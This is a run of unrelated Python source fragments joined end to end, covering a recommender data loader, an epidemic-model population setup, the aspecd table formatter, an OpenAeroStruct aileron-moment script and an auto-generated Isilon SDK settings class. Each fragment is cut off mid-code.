US_set = set(users_df['US'].values.tolist()) US_dict = {f: i for i, f in enumerate(US_set, start=len(UC_dict))} num_feats = len(UC_dict) + len(US_dict) u_features = np.zeros((num_users, num_feats), dtype=np.float32) for _, row in users_df.iterrows(): u_id = row['user id'] if u_id in u_dict.keys(): # gender u_features[u_dict[u_id], UC_dict[row['UC']]] = 1 # country u_features[u_dict[u_id], US_dict[row['US']]] = 1 u_features = sp.csr_matrix(u_features) v_features = sp.csr_matrix(v_features) # edge_features= sp.csr_matrix(edge_features) ind = np.array(np.where(edge_features != 0)).T # (u v c) #non zero indices print("LOAD DATA DONE") elif fname == 'Travel_STS': print("I am Travel_STS") data_dir = '...\data\Travel_STS' files = ['/Travel-User-Item-Rating-Context.txt', '/Travel-User-Info.txt'] sep = '\t' filename = data_dir + files[0] dtypes = { 'u_nodes': np.int32, 'v_nodes': np.int32, 'ratings': np.float32} data = pd.read_csv( filename, sep=sep, header=None, names=['u_nodes', 'v_nodes', 'ratings', 'distance', 'time_available', 'temperature', 'crowdedness', 'knowledge_of_surroundings', 'season', 'budget', 'daytime', 'weather', 'companion', 'mood', 'weekday', 'travelgoal', 'means_of_transport', 'category'], dtype=dtypes) data_array = data.values.tolist() random.seed(seed) random.shuffle(data_array) data_array = np.array(data_array) u_nodes_ratings = data_array[:, 0].astype(dtypes['u_nodes']) v_nodes_ratings = data_array[:, 1].astype(dtypes['v_nodes']) ratings = data_array[:, 2].astype(dtypes['ratings']) rating_dict = {r: i for i, r in enumerate(np.sort(np.unique(ratings)).tolist())} # {0:1, 1:2, 2:3, 3:4, 4:5} distance = data_array[:, 3] time_available
# TODO All MSOA codes are unique # TODO Locations have 'Danger' and 'ID' columns # TODO Number of destination columns ('Loc_*') matches number of locaitons # TODO Number of origins (rows) in the flow matrix matches number of OAs in the locations return @classmethod def _add_location_columns(cls, locations: pd.DataFrame, location_names: List[str], location_ids: List[int] = None): """ Add some standard columns to DataFrame (in place) that contains information about locations. :param locations: The dataframe of locations that the columns will be added to :param location_names: Names of the locations (e.g shop names) :param location_ids: Can optionally include a list of IDs. An 'ID' column is always created, but if no specific IDs are provided then the ID will be the same as the index (i.e. the row number). If ids are provided then the ID column will be set to the given IDs, but the index will still be the row number. :return: None; the columns are added to the input dataframe inplace. """ # Make sure the index will always be the row number locations.reset_index(inplace=True, drop=True) if location_ids is None: # No specific index provided, just use the index locations[ColumnNames.LOCATION_ID] = locations.index else: # User has provided a specific list of indices to use if len(location_ids) != len(locations): raise Exception(f"When adding the standard columns to a locations dataframe, a list of specific", f"IDs has ben passed, but this list (length {len(location_ids)}) is not the same" f"length as the locations dataframe (length {len(locations)}. The list of ids passed" f"is: {location_ids}.") locations[ColumnNames.LOCATION_ID] = location_ids if len(location_names) != len(locations): raise Exception(f"The list of location names is not the same as the number of locations in the dataframe", f"({len(location_names)} != {len(locations)}.") locations[ColumnNames.LOCATION_NAME] = location_names # Standard name for the location locations[ColumnNames.LOCATION_DANGER] = 0 # All locations have a disease danger of 0 initially # locations.set_index(ColumnNames.LOCATION_ID, inplace=True, drop=False) return None # Columns added in place so nothing to return @classmethod def add_individual_flows(cls, flow_type: str, individuals: pd.DataFrame, flow_matrix: pd.DataFrame) -> pd.DataFrame: """ Take a flow matrix from MSOAs to (e.g. retail) locations and assign flows to individuals. It a assigns the id of the destination of the flow according to its column in the matrix. So the first column that has flows for a destination is given index 0, the second is index 1, etc. This is probably not the same as the ID of the venue that they point to (e.g. the first store probably has ID 1, but will be given the index 0) so it is important that when the activity_locations are created, they are created in the same order as the columns that appear in the matix. The first column in the matrix must also be the first row in the locations data. :param flow_type: What type of flows are these. This will be appended to the column names. E.g. "Retail". :param individuals: The DataFrame contining information about all individuals :param flow_matrix: The flow matrix, created by (e.g.) read_retail_flows_data() :return: The DataFrame of individuals with new locations and probabilities added """ # Check that there aren't any individuals who wont be given any flows if len(individuals.loc[-individuals.area.isin(flow_matrix.Area_Code)]) > 0: raise Exception(f"Some individuals will not be assigned any flows to: '{flow_type}' because their" f"MSOA is not in the flow matrix: " f"{individuals.loc[-individuals.area.isin(flow_matrix.Area_Code)]}.") # Check that there aren't any duplicate flows if len(flow_matrix) != len(flow_matrix.Area_Code.unique()): raise Exception("There are duplicate area codes in the flow matrix: ", flow_matrix.Area_Code) # Names for the new columns venues_col = f"{flow_type}{ColumnNames.ACTIVITY_VENUES}" flows_col = f"{flow_type}{ColumnNames.ACTIVITY_FLOWS}" # Create empty lists to hold the vanues and flows for each individuals individuals[venues_col] = [[] for _ in range(len(individuals))] individuals[flows_col] = [[] for _ in range(len(individuals))] # Later we also record the individual risks for each activity per individual. It's nice if the columns for # each activity are grouped together, so create that column now. individuals[f"{flow_type}{ColumnNames.ACTIVITY_RISK}"] = [-1] * len(individuals) # Use a hierarchical index on the Area to speed up finding all individuals in an area # (not sure this makes much difference). individuals.set_index(["area", "ID"], inplace=True, drop=False) for area in tqdm(flow_matrix.values, desc=f"Assigning individual flows for {flow_type}"): # Easier to operate over a 2D matrix rather than a dataframe oa_num: int = area[0] oa_code: str = area[1] # Get rid of the area codes, so are now just left with flows to locations area = list(area[2:]) # Destinations with positive flows and the flows themselves dests = [] flows = [] for i, flow in enumerate(area): if flow > 0.0: dests.append(i) flows.append(flow) # Normalise the flows flows = PopulationInitialisation._normalise(flows) # Now assign individuals in those areas to those flows # This ridiculous 'apply' line is the only way I could get pandas to update the particular # rows required. Something like 'individuals.loc[ ...] = dests' (see below) didn't work becuase # instead of inserting the 'dests' list itself, pandas tried to unpack the list and insert # the individual values instead. # individuals.loc[individuals.area == oa_code, f"{flow_type}_Venues"] = dests # individuals.loc[individuals.area == oa_code, f"{flow_type}_Probabilities"] = flow # # A quicker way to do this is probably to create N subsets of individuals (one table for # each area) and then concatenate them at the end. individuals.loc[oa_code, venues_col] = \ individuals.loc[oa_code, venues_col].apply(lambda _: dests).values individuals.loc[oa_code, flows_col] = \ individuals.loc[oa_code, flows_col].apply(lambda _: flows).values # individuals.loc[individuals.area=="E02004189", f"{flow_type}_Venues"] = \ # individuals.loc[individuals.area=="E02004189", f"{flow_type}_Venues"].apply(lambda _: dests) # individuals.loc[individuals.area=="E02004189", f"{flow_type}_Probabilities"] = \ # individuals.loc[individuals.area=="E02004189", f"{flow_type}_Probabilities"].apply(lambda _: flows) # Reset the index so that it's not the PID individuals.reset_index(inplace=True, drop=True) # Check everyone has some flows (all list lengths are >0) assert False not in (individuals.loc[:, venues_col].apply(lambda cell: len(cell)) > 0).values assert False not in (individuals.loc[:, flows_col].apply(lambda cell: len(cell)) > 0).values return individuals @classmethod def pad_durations(cls, individuals, activity_locations) -> pd.DataFrame: """ Some indvidiuals' activity durations don't add up to 1. In these cases pad them out with extra time at home. :param individuals: :param activity_locations: :return: The new individuals dataframe """ total_duration = [0.0] * len(individuals) # Add up all the different activity durations for activity in activity_locations.keys(): total_duration = total_duration + individuals.loc[:, f"{activity}{ColumnNames.ACTIVITY_DURATION}"] total_duration = total_duration.apply(lambda x: round(x, 5)) assert (total_duration <= 1.0).all() # None should be more than 1.0 (after rounding) missing_duration = 1.0 - total_duration # Amount of activity time that needs to be added on to home # missing_duration = missing_duration.apply(lambda x: round(x,5)) individuals[f"{ColumnNames.Activities.HOME}{ColumnNames.ACTIVITY_DURATION}"] = \ (individuals[f"{ColumnNames.Activities.HOME}{ColumnNames.ACTIVITY_DURATION}"] + missing_duration).apply( lambda x: round(x, 5)) check_durations_sum_to_1(individuals, activity_locations.keys()) return individuals @staticmethod def read_time_activity_multiplier(lockdown_file) -> pd.DataFrame: """ Some times people should spend more time at home than normal. E.g. after lockdown. This function reads a file that tells us how much more time should be spent at home on each day. :param lockdown_file: Where to read the mobility data from (assume it's within the DATA_DIR). :return: A dataframe with 'day' and 'timeout_multiplier' columns """ assert lockdown_file != "", \ "read_time_activity_multiplier should not have been called if lockdown_file is empty" print(f"Reading time activity multiplier data from {lockdown_file}...", ) time_activity = pd.read_csv(lockdown_file) # Cap at 1.0 (it's a curve so some times peaks above 1.0)= time_activity["timeout_multiplier"] = time_activity.loc[:, "timeout_multiplier"]. \ apply(lambda x: 1.0 if x > 1.0 else x) return time_activity @classmethod def _normalise(cls, l: List[float], decimals=3) -> List[float]: """ Normalise a list so that it sums to almost 1.0. Rounding might cause it not to add exactly to 1 :param decimals: Optionally round to the number of decimal places. Default 3. If 'None' the do no rounding. """ if not isinstance(l, Iterable): raise Exception("Can only work with iterables") if len(l) == 1: # Special case for 1-item iterables return [1.0] l = np.array(l) # Easier to work with numpy vectorised operators total = l.sum() l = l / total if decimals is None: return list(l) return [round(x, decimals) for x in l] @classmethod def add_disease_columns(cls, individuals: pd.DataFrame) -> pd.DataFrame: """Adds columns required to
output would include this caption. For formats such as DokuWiki and LaTeX, it is fairly obvious how to add the table caption, and for the other formats, the caption is added as plain text on top of the actual table, wrapped to not have endless lines. .. code-block:: ds = dataset.Dataset() ds.data.data = np.random.random([5,5]) ds.data.axes[0].index = ['a', 'b', 'c', 'd', 'e'] ds.data.axes[1].index = ['foo', 'bar', 'baz', 'foobar', 'frob'] caption = table.Caption() caption.title = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.' caption.text = 'Quisque varius tortor ac faucibus posuere. In hac ' \ 'habitasse platea dictumst. Morbi rutrum felis vitae '\ 'tristique accumsan. Sed est nisl, auctor a metus a, ' \ 'elementum cursus velit. Proin et rutrum erat. ' \ 'Praesent id urna odio. Duis quis augue ac nunc commodo' \ ' euismod quis id orci.' tab = table.Table() tab.caption = caption tab.column_format = ['8.6f'] tab = ds.tabulate(tab) print(tab.table) The result of the print statement above would output something like this: .. code-block:: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque varius tortor ac faucibus posuere. In hac habitasse platea dictumst. Morbi rutrum felis vitae tristique accumsan. Sed est nisl, auctor a metus a, elementum cursus velit. Proin et rutrum erat. Praesent id urna odio. Duis quis augue ac nunc commodo euismod quis id orci. foo bar baz foobar frob a 0.162747 0.620320 0.677983 0.719360 0.426734 b 0.342259 0.907828 0.252471 0.987115 0.563511 c 0.253853 0.752020 0.277696 0.479128 0.929410 d 0.768840 0.220356 0.247271 0.379556 0.231765 e 0.113655 0.725631 0.098438 0.753049 0.363572 Note that the caption has been wrapped for better readability, and that an empty line is inserted between caption and table. Of course, you can combine the caption with the other textual formats ("text", "rst") as well, and it will be output in the same way. The formats "dokuwiki" and "latex" are special, see the respective format class definitions ( :class:`DokuwikiFormat`, :class:`LatexFormat`) for details. Module documentation ==================== """ import logging import textwrap import aspecd.exceptions from aspecd import history, utils logger = logging.getLogger(__name__) logger.addHandler(logging.NullHandler()) class Table: """ Tabular representation of datasets. Formatting of a table can be controlled by the formatter class defined by :attr:`format`. See the documentation of the :class:`Format` class and its subclasses for details. Furthermore, the individual columns containing numerical data can be formatted as well, specifying formats for the individual columns in :attr:`column_format`. In case the axes of a dataset contain values in their :attr:`aspecd.dataset.Axis.index` attribute, these values will be used as first column and column headers, respectively. In case of indices present in either the first or second axis or both, they will be used as row indices and column headers, respectively. One particular use case is in combination with the results of an :class:`aspecd.analysis.AggregatedAnalysisStep` operating on a series of datasets and combining the result in a :class:`aspecd.dataset.CalculatedDataset` with the row indices being the labels of the corresponding datasets. .. note:: For obvious reasons, only 1D and 2D datasets can be tabulated. Therefore, if you try to tabulate a ND dataset with N>2, this will raise an exception. Attributes ---------- dataset : :class:`aspecd.dataset.Dataset` Dataset containing numerical data to tabulate table : :class:`str` Final table ready to be output format : :class:`str` Identifier for output format. Valid identifiers are either the empty string or any first part of a subclass of :class:`Format`, *i.e.* the part before "Format". Examples for currently valid identifiers: ``text``, ``rst``, ``dokuwiki``, ``latex`` See :class:`Format` and the respective subclasses for details on the formats available and what kind of output they create. column_format: :class:`list` (Optional) formats for the data The format strings are used by :meth:`str.format`, see there for details. If the list is shorter than the number of columns, the last element will be used for the remaining columns. filename : :class:`str` Name of the file to save the table to. If calling :meth:`save`, the table contained in :attr:`table` will be saved to this file .. versionadded:: 0.5 """ def __init__(self): self.name = aspecd.utils.full_class_name(self) self.dataset = None self.caption = Caption() self.table = None self.format = '' self.column_format = [] self.filename = '' self._format = Format() self._columns = [] self._rows = [] self._column_widths = [] def tabulate(self, dataset=None, from_dataset=False): """ Create tabular representation of the numerical data of a dataset. The result is stored in :attr:`table`. In case of an empty dataset, a warning is logged and no further action taken. Parameters ---------- dataset : class:`aspecd.dataset.Dataset` Dataset to create the tabular representation for from_dataset : `boolean` whether we are called from within a dataset Defaults to "False" and shall never be set manually. """ if dataset: self.dataset = dataset if not self.dataset: raise aspecd.exceptions.MissingDatasetError if self.dataset.data.data.ndim > 2: raise aspecd.exceptions.NotApplicableToDatasetError( message='Tables work only with 1D and 2D data') if self.dataset.data.data.size == 0: logger.warning('Dataset contains no data, hence nothing to ' 'tabulate.') return if from_dataset: self._set_format() self._format_columns() self._format_rows() self._add_rules() self._add_opening_and_closing() self.table = '\n'.join(self._rows) else: self.dataset.tabulate(table=self) def save(self): """ Save table to file. The filename is set in :attr:`filename`. If no table exists, *i.e.* :meth:`tabulate` has not yet been called, the method will silently return. """ if not self.table: return with open(self.filename, 'w') as file: file.write(self.table) def create_history_record(self): """ Create history record to be added to the dataset. Usually, this method gets called from within the :meth:`aspecd.dataset.Dataset.tabulate` method of the :class:`aspecd.dataset.Dataset` class and ensures the history of each tabulating step to get written properly. Returns ------- history_record : :class:`aspecd.history.TableHistoryRecord` history record for tabulating step """ history_record = \ history.TableHistoryRecord(package=self.dataset.package_name) history_record.table = history.TableRecord(table=self) return history_record def _set_format(self): format_class = self.format.lower().capitalize() + 'Format' format_class = '.'.join(['aspecd.table', format_class]) self._format = utils.object_from_class_name(format_class) def _format_columns(self): self._columns = [] if any(self.dataset.data.axes[0].index): row_indices = [] if any(self.dataset.data.axes[1].index): row_indices.append('') row_indices.extend(self.dataset.data.axes[0].index) self._columns.append(self._adjust_column_width(row_indices)) if self.dataset.data.data.ndim == 2: for column in range(self.dataset.data.data.shape[1]): current_column = [] if any(self.dataset.data.axes[1].index): current_column.append( self.dataset.data.axes[1].index[column]) for row in self.dataset.data.data[:, column]: current_column.append(self._format_number(row, column=column)) current_column = self._adjust_column_width(current_column) self._columns.append(current_column) else: current_column = [] for row in self.dataset.data.data: current_column.append(self._format_number(row)) current_column = self._adjust_column_width(current_column) self._columns.append(current_column) self._column_widths = [len(x[0]) for x in self._columns] @staticmethod def _adjust_column_width(current_column): width = max([len(x) for x in current_column]) return [x.ljust(width) for x in current_column] def _format_number(self, number, column=0): if self.column_format: try: string_format = self.column_format[column] except IndexError: string_format = self.column_format[-1] formatted_number = \ '{:{format}}'.format(number, format=string_format) else: formatted_number = '{}'.format(number) return formatted_number def _format_rows(self): self._rows = [] for row in range(len(self._columns[0])): current_row = [] padding = self._format.padding * ' ' for column in self._columns: current_row.append(column[row]) if any(self.dataset.data.axes[1].index) and row == 0: separator = '{padding}{separator}{padding}'.format( padding=padding, separator=self._format.header_separator ) if any(self.dataset.data.axes[0].index): prefix = self._format.column_prefix else: prefix = self._format.header_prefix formatted_row = \ '{prefix}{padding}{row}{padding}{postfix}'.format( prefix=prefix, padding=padding, row=separator.join(current_row), postfix=self._format.header_postfix ) else: separator = '{padding}{separator}{padding}'.format( padding=padding, separator=self._format.column_separator ) if any(self.dataset.data.axes[0].index): prefix = self._format.header_prefix else: prefix = self._format.column_prefix formatted_row = \ '{prefix}{padding}{row}{padding}{postfix}'.format( prefix=prefix, padding=padding, row=separator.join(current_row), postfix=self._format.column_postfix ) self._rows.append(formatted_row) def _add_rules(self): top_rule = self._format.top_rule(column_widths=self._column_widths) if top_rule: self._rows.insert(0, top_rule) if any(self.dataset.data.axes[1].index): middle_rule = \ self._format.middle_rule(column_widths=self._column_widths) if middle_rule: self._rows.insert(2, middle_rule) bottom_rule = \ self._format.bottom_rule(column_widths=self._column_widths) if bottom_rule: self._rows.append(bottom_rule) def _add_opening_and_closing(self): opening = self._format.opening(columns=len(self._columns), caption=self.caption) if opening: self._rows.insert(0, opening) closing = self._format.closing(caption=self.caption) if closing: self._rows.append(closing) class Format: """ Base class for settings for formatting tables. The formatter is used by :class:`Table` to control the output. Different formats can be implemented by subclassing this class. Currently, the following subclasses are available: * :class:`TextFormat` Grid layout for text output * :class:`RstFormat` Simple layout for reStructuredText (rst) * :class:`DokuwikiFormat` DokuWiki table syntax * :class:`LatexFormat` LaTeX table syntax For simple output, you can use the basic formatter, :class:`Format`, as well. As this is the default in the :class:`Table` class, nothing needs to be done in this case. Attributes ---------- padding : :class:`int` Number of spaces left and right of a field column_separator : :class:`str` String used to separate columns in a row column_prefix : :class:`str` String used to prefix the first column in a row column_postfix : :class:`str` String used to postfix the last column in a row header_separator : :class:`str` String used to separate columns in the header (if present) header_prefix : :class:`str` String used to prefix the first column in the header
<reponame>bbahiam/OpenAeroStruct from __future__ import division, print_function import numpy as np from openaerostruct.geometry.utils import generate_mesh from openaerostruct.integration.aerostruct_groups import AerostructGeometry, AerostructPoint from openmdao.api import IndepVarComp, Problem, Group, SqliteRecorder, NewtonSolver,\ ExecComp, NonlinearBlockGS, ExplicitComponent, n2 from openaerostruct.utils.constants import grav_constant import pdb import time """ Takes a control surface deflection and gives the instantaneous moment. Overview: -Define mesh and control surface -Set up aerostructural point group as normal (rotational=False) -Run model -View moment """ start = time.time() ############################################################################## # GEOMETRY # ############################################################################## # Based on NACA TN2563 # Brief description S = 2*0.092903 AR = 8 b = np.sqrt(S*AR) taper = 0.45 rc = 2*S/(b*(taper+1)) tc = rc*taper sweep = 46 # from LE cg_loc = np.array([0.38*rc,0,0]) # Testing conditions dels = np.array([-10.,-5.,0.,5.,10.]) qvec = np.array([0.1,10,15,20,25,30,35,40,45,50,55]) * 47.8803 # maybe ad 0.07 = q too alpha = 0.012 # From Kirsten Wind Tunnel page rho = 1.2 vels = np.sqrt(2*qvec/rho) n = 4 num_y = n*(10)+1 num_x = 7 # Create a dictionary to store options about the surface mesh_dict = {'num_y' : num_y, 'num_x' : num_x, 'wing_type' : 'rect', 'symmetry' : False, 'span' : b, 'root_chord' : rc} mesh = generate_mesh(mesh_dict) ############################################################################### # SPAR # ############################################################################### 0 b/2 0.25 b/2 0.5 b/2 0.75 b/2 1 b/2 ys = np.array([0.05,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1]) yv = np.linspace(0,1,25) struc = np.array([1.3,1.27,1.2,1.135,1.09,1.05,1.03,1.02,1.011,1,1]) data_swp = np.array([31.56179775, 27.20224719, 19.56179775, 13.49438202, 8.95505618, 5.62921348, 3.42696629, 2.03370787, 1.31460674, 1.04494382, 1.]) fit_swp = np.polyfit(ys,data_swp,3) j_swp = np.polyval(fit_swp,yv) r_swp = (2*j_swp/np.pi)**(1/4) r_swp = np.hstack((np.flip(r_swp)[:-1],r_swp)) data_str = np.array([28.43362832, 24.43362832, 17.53097345, 12.04424779, 8.04424779, 5.10619469, 3.12389381, 1.84955752, 1.17699115, 0.92920354, 1.]) fit_str = np.polyfit(ys,data_str,3) j_str = np.polyval(fit_str,yv) r_str = (2*j_str/np.pi)**(1/4) r_str = np.hstack((np.flip(r_str)[:-1],r_str)) ############################################################################## # CONTROL SURFACES # ############################################################################## # All ailerons are 0.3c c = [0.7,0.7] # Aileron locations for straight wing ind02 = [0,n] ind04 = [0,2*n] ind06 = [0,3*n] ind08 = [0,4*n] ind1 = [0,5*n] ind95 = [0,ind1[1]-1] # Inboard aileron locations for swept wing ind02in = [n,2*n] ind04in = [n,3*n] ail02 = { 'name': 'ail02', 'yLoc': ind02, 'cLoc': c, 'antisymmetric': True, 'corrector' : True } ail04 = { 'name': 'ail04', 'yLoc': ind04, 'cLoc': c, 'antisymmetric': True, 'corrector' : True } ail06 = { 'name': 'ail06', 'yLoc': ind06, 'cLoc': c, 'antisymmetric': True, 'corrector' : True } ail08 = { 'name': 'ail08', 'yLoc': ind08, 'cLoc': c, 'antisymmetric': True, 'corrector' : False } ail1 = { 'name': 'ail1', 'yLoc': ind1, 'cLoc': c, 'antisymmetric': True, 'corrector' : False } ail95 = { 'name': 'ail95', 'yLoc': ind95, 'cLoc': c, 'antisymmetric': True, 'corrector' : False } ail02in = { 'name': 'ail02in', 'yLoc': ind02in, 'cLoc': c, 'antisymmetric': True, 'corrector' : True } ail04in = { 'name': 'ail04in', 'yLoc': ind04in, 'cLoc': c, 'antisymmetric': True, 'corrector' : True } ############################################################################## # SURFACES # ############################################################################## straight_wing = { # Wing definition 'name' : 'wing', # name of the surface 'symmetry' : False, # if true, model one half of wing # reflected across the plane y = 0 'S_ref_type' : 'projected', # how we compute the wing area, # can be 'wetted' or 'projected' 'fem_model_type' : 'tube',# b2 .25b2 .5b2 .75b2 'thickness_cp' : r_str*0.155*0.0254, 'radius_cp' : r_str*0.155*0.0254, 'twist' : np.array([0.]), 'sweep' : 0, 'mesh' : mesh, 'taper' : taper, # Aerodynamic performance of the lifting surface at # an angle of attack of 0 (alpha=0). # These CL0 and CD0 values are added to the CL and CD # obtained from aerodynamic analysis of the surface to get # the total CL and CD. # These CL0 and CD0 values do not vary wrt alpha. 'CL0' : 0.0, # CL of the surface at alpha=0 'CD0' : 0.015, # CD of the surface at alpha=0 # Airfoil properties for viscous drag calculation 'k_lam' : 0.05, # percentage of chord with laminar # flow, used for viscous drag 't_over_c_cp' : np.array([0.12]), # thickness over chord ratio (NACA0015) 'c_max_t' : .303, # chordwise location of maximum (NACA0015) # thickness 'with_viscous' : True, 'with_wave' : False, # if true, compute wave drag 'E' : 8.7e9, # [Pa] Young's modulus of the spar 'G' : 2.82e9, # [Pa] shear modulus of the spar 'yield' : 1280.e6 / 2.5, # [Pa] yield stress divided by 2.5 for limiting case 'mrho' : 8.25e3, # [kg/m^3] material density 'fem_origin' : 0.38, # normalized chordwise location of the spar, 0.38c 'wing_weight_ratio' : 1.5, 'struct_weight_relief' : False, # True to add the weight of the structure to the loads on the structure 'distributed_fuel_weight' : False, # Constraints 'exact_failure_constraint' : False, # if false, use KS function } swept_wing = { # Wing definition 'name' : 'wing', # name of the surface 'symmetry' : False, # if true, model one half of wing # reflected across the plane y = 0 'S_ref_type' : 'projected', # how we compute the wing area, # can be 'wetted' or 'projected' 'fem_model_type' : 'tube', 'thickness_cp' : r_swp*0.146*0.0254, 'radius_cp' : r_swp*0.146*0.0254, 'twist' : np.array([0.]), 'sweep' : sweep, 'mesh' : mesh, 'taper' : taper, # Aerodynamic performance of the lifting surface at # an angle of attack of 0 (alpha=0). # These CL0 and CD0 values are added to the CL and CD # obtained from aerodynamic analysis of the surface to get # the total CL and CD. # These CL0 and CD0 values do not vary wrt alpha. 'CL0' : 0.0, # CL of the surface at alpha=0 'CD0' : 0.015, # CD of the surface at alpha=0 # Airfoil properties for viscous drag calculation 'k_lam' : 0.05, # percentage of chord with laminar # flow, used for viscous drag 't_over_c_cp' : np.array([0.12]), # thickness over chord ratio (NACA0015) 'c_max_t' : .303, # chordwise location of maximum (NACA0015) # thickness 'with_viscous' : True, 'with_wave' : False, # if true, compute wave drag 'E' : 25.7e9, # [Pa] Young's modulus of the spar 'G' : 4.12e9, # [Pa] shear modulus of the spar 'yield' : 1280.e6 / 2.5, # [Pa] yield stress divided by 2.5 for limiting case 'mrho' : 8.25e3, # [kg/m^3] material density 'fem_origin' : 0.38, # normalized chordwise location of the spar, 0.38c 'wing_weight_ratio' : 1.5, 'struct_weight_relief' : False, # True to add the weight of the structure to the loads on the structure 'distributed_fuel_weight' : False, # Constraints 'exact_failure_constraint' : False, # if false, use KS function } surfList = [straight_wing,swept_wing] ailList_straight = [ail02,ail04,ail06,ail08,ail1] ailList_swept = [ail02,ail04,ail06,ail08,ail1,ail02in,ail04in] surfList = [straight_wing] ailList_straight = [ail02] ailList_swept = [ail02] counter = 0 for surface in surfList: if surface['sweep'] == 0: surfname = 'str' ailList = ailList_straight else: surfname = 'swp' ailList = ailList_swept for aileron in ailList: surface['control_surfaces'] = [aileron] print(surfname+' '+aileron['name']+'\n') cl = np.ones((len(vels),len(dels))) CL = np.ones((len(vels),len(dels))) CD = np.ones((len(vels),len(dels))) CM = np.ones((len(vels),len(dels),3)) defmeshes = np.zeros((len(vels),len(dels),num_x,num_y,3)) meshForce = np.zeros((len(vels),len(dels),num_x,num_y,3)) panelForce = np.zeros((len(vels),len(dels),num_x-1,num_y-1,3)) ################################################################### # SET UP PROBLEM # ################################################################### # Create the problem and assign the model group prob = Problem() # Add problem information as an independent variables component indep_var_comp = IndepVarComp() indep_var_comp.add_output('v', val=25., units='m/s') indep_var_comp.add_output('alpha', val=alpha, units='deg') indep_var_comp.add_output('re', val=5e5, units='1/m') indep_var_comp.add_output('rho', val=rho, units='kg/m**3') indep_var_comp.add_output('cg', val=cg_loc, units='m') indep_var_comp.add_output('delta_aileron', val=12.5,units='deg') indep_var_comp.add_output('omega', val=np.array([0.,0.,0.]),units='rad/s') prob.model.add_subsystem('prob_vars', indep_var_comp, promotes=['*']) aerostruct_group = AerostructGeometry(surface=surface) name = 'wing' # Add tmp_group to the problem with the name of the surface. prob.model.add_subsystem(name, aerostruct_group) point_name = 'AS_point_0' # Create the aero point group and add it to the model AS_point = AerostructPoint(surfaces=[surface],rotational=True,rollOnly=True) prob.model.add_subsystem(point_name, AS_point, promotes_inputs=['v', 'alpha', 'Mach_number', 're', 'rho', 'cg', 'delta_aileron','omega']) com_name = point_name + '.' + name + '_perf' prob.model.connect(name + '.local_stiff_transformed', point_name + '.coupled.' + name + '.local_stiff_transformed') prob.model.connect(name + '.nodes', point_name + '.coupled.' + name + '.nodes') # Connect aerodyamic mesh to coupled group mesh prob.model.connect(name + '.mesh', point_name + '.coupled.' + name + '.mesh') # Connect performance calculation variables prob.model.connect(name + '.radius', com_name + '.radius') prob.model.connect(name + '.thickness', com_name + '.thickness') prob.model.connect(name + '.nodes', com_name + '.nodes') prob.model.connect(name + '.t_over_c', com_name + '.t_over_c') ##from openmdao.api import ScipyOptimizeDriver #prob.driver = ScipyOptimizeDriver() #prob.driver.options['tol'] = 1e-9 # Set up the problem prob.setup(check=True) pdb.set_trace() prob.model.AS_point_0.coupled.nonlinear_solver.options['maxiter'] = 1000 prob.model.AS_point_0.coupled.nonlinear_solver.options['err_on_maxiter'] = False prob.model.AS_point_0.coupled.nonlinear_solver.options['atol'] = 5e-7 ################################################################### # RUN PROBLEM # ################################################################### for i,v in enumerate(vels): for j,d in enumerate(dels): prob['v'] = v prob['delta_aileron'] = d prob['re'] = (rho*6.5*0.0254*v)/(1.4207e-5) print('v='+str(v)) print('d='+str(d)) # Run the model prob.run_model() # get cl instead of CM S_ref = prob['AS_point_0.coupled.wing.S_ref'] chords = prob['AS_point_0.coupled.wing.chords'] widths = prob['AS_point_0.coupled.wing.widths'] panel_chords = (chords[1:]
<filename>isi_sdk_8_2_0/isi_sdk_8_2_0/models/performance_settings_settings.py # coding: utf-8 """ Isilon SDK Isilon SDK - Language bindings for the OneFS API # noqa: E501 OpenAPI spec version: 7 Contact: <EMAIL> Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class PerformanceSettingsSettings(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'max_dataset_count': 'int', 'max_filter_count': 'int', 'max_stat_size': 'int', 'max_top_n_collection_count': 'int', 'max_workload_count': 'int', 'top_n_collection_count': 'int' } attribute_map = { 'max_dataset_count': 'max_dataset_count', 'max_filter_count': 'max_filter_count', 'max_stat_size': 'max_stat_size', 'max_top_n_collection_count': 'max_top_n_collection_count', 'max_workload_count': 'max_workload_count', 'top_n_collection_count': 'top_n_collection_count' } def __init__(self, max_dataset_count=None, max_filter_count=None, max_stat_size=None, max_top_n_collection_count=None, max_workload_count=None, top_n_collection_count=None): # noqa: E501 """PerformanceSettingsSettings - a model defined in Swagger""" # noqa: E501 self._max_dataset_count = None self._max_filter_count = None self._max_stat_size = None self._max_top_n_collection_count = None self._max_workload_count = None self._top_n_collection_count = None self.discriminator = None self.max_dataset_count = max_dataset_count self.max_filter_count = max_filter_count self.max_stat_size = max_stat_size self.max_top_n_collection_count = max_top_n_collection_count self.max_workload_count = max_workload_count self.top_n_collection_count = top_n_collection_count @property def max_dataset_count(self): """Gets the max_dataset_count of this PerformanceSettingsSettings. # noqa: E501 The maximum number of datasets that can be configured on the system. # noqa: E501 :return: The max_dataset_count of this PerformanceSettingsSettings. # noqa: E501 :rtype: int """ return self._max_dataset_count @max_dataset_count.setter def max_dataset_count(self, max_dataset_count): """Sets the max_dataset_count of this PerformanceSettingsSettings. The maximum number of datasets that can be configured on the system. # noqa: E501 :param max_dataset_count: The max_dataset_count of this PerformanceSettingsSettings. # noqa: E501 :type: int """ if max_dataset_count is None: raise ValueError("Invalid value for `max_dataset_count`, must not be `None`") # noqa: E501 if max_dataset_count is not None and max_dataset_count > 4: # noqa: E501 raise ValueError("Invalid value for `max_dataset_count`, must be a value less than or equal to `4`") # noqa: E501 if max_dataset_count is not None and max_dataset_count < 4: # noqa: E501 raise ValueError("Invalid value for `max_dataset_count`, must be a value greater than or equal to `4`") # noqa: E501 self._max_dataset_count = max_dataset_count @property def max_filter_count(self): """Gets the max_filter_count of this PerformanceSettingsSettings. # noqa: E501 The maximum number of filters that can be applied to a configured performance dataset. # noqa: E501 :return: The max_filter_count of this PerformanceSettingsSettings. # noqa: E501 :rtype: int """ return self._max_filter_count @max_filter_count.setter def max_filter_count(self, max_filter_count): """Sets the max_filter_count of this PerformanceSettingsSettings. The maximum number of filters that can be applied to a configured performance dataset. # noqa: E501 :param max_filter_count: The max_filter_count of 